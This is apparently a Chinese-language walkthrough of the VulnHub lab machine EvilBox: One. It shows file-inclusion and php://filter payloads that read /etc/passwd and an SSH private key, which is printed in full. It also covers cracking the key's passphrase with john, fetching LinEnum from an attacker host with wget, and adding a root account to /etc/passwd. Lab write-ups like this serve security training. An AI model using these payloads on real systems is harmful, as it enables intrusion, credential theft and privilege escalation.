vulnhub靶場之EVILBOX: ONE

準備:

攻擊機:虛擬機kali、本機win10。

靶機:EVILBOX: ONE,下載地址://download.vulnhub.com/evilbox/EvilBox—One.ova,下載後直接vbox打開即可。

知識點:文件包含漏洞、ffuf爆破參數名、ssh2john和john爆破密碼、ssh私匙登錄、/etc/passwd提權。

資訊收集:

掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.110.80,顯示開放了22、80埠,開啟了ssh、http服務

使用dirmap進行目錄掃描,發現了robots.txt和目錄secret,訪問robots.txt文件顯示:Hello H4x0r,對secrect目錄進行掃描,發現evil.php。

參數名爆破:

訪問://192.168.110.80/secret/evil.php未回返有用資訊,考慮是需要傳遞參數,那我們就需要進行參數爆破,這裡使用ffuf進行參數名爆破,命令:ffuf -u ‘//192.168.110.80/secret/evil.php?FUZZ=../../../../../../etc/passwd’ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0,發現參數名command。

文件包含漏洞:

訪問下/etc/passwd文件,命令://192.168.110.80/secret/evil.php?command=../../../../../../etc/passwd,發現賬戶:mowree。

利用php偽協議讀取下evil.php文件,命令://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php,獲得base64加密的資訊,進行base64解密,獲得evil.php的源碼資訊,但是該php文件無隱藏資訊。

私匙獲取:

nmap進行掃描時開啟了ssh服務,查看下ssh服務的登錄方式有哪些,命令:sudo ssh [email protected] -v,顯示支援密碼和公匙登錄。

嘗試讀取公匙資訊,但是讀取失敗://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=/home/mowree/.ssh/id_rsa.pub。嘗試讀取下ssh的私匙資訊,命令://192.168.110.80/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=/home/mowree/.ssh/id_rsa,進行解碼獲得私匙資訊。

ssh私匙
 -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----

將私匙資訊保存到kali,然後使用私匙進行登錄時發現還需要密碼才可以,我們利用ssh2john生成hash.txt文件,命令:ssh2john id_rsa > hash.txt,然後使用john進行密碼的破解,命令:john –wordlist=/usr/share/worlists/rockyou.txt hash.txt。成功獲得密碼:unicorn。

獲取shell:

利用獲得賬戶資訊、密碼資訊、私匙資訊:mowree、unicorn、id_rsa,命令:sudo ssh -i id_rsa [email protected],成功獲得shell許可權並讀取到flag值。

提權:

查看當前用戶下具有root許可權的可執行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null。

使用LinEnum進行資訊收集,在本機使用python開啟http服務,命令:python -m http.server,然後靶機使用:wget //192.168.110.234:8000/LinEnum.sh下載該文件並賦予可執行許可權進行執行,發現我們對/etc/passwd文件具有讀寫許可權。

/etc/passwd提權:

那我們可以在passwd文件中添加一個新的root許可權的賬戶,命令:openssl passwd -1 -salt upfine生成密碼:$1$upfine$lmB8MIReLqOd0SwojmfN5/。

在shell中按照root賬戶的格式寫入到/etc/passwd文件中,命令:echo ‘upfine:$1$upfine$lmB8MIReLqOd0SwojmfN5/:0:0::/root:/bin/bash’ >> /etc/passwd。

切換upfine用戶,輸入密碼後成功切換到root賬戶並在/root目錄下讀取到root.txt文件,獲取到第二個flag文件。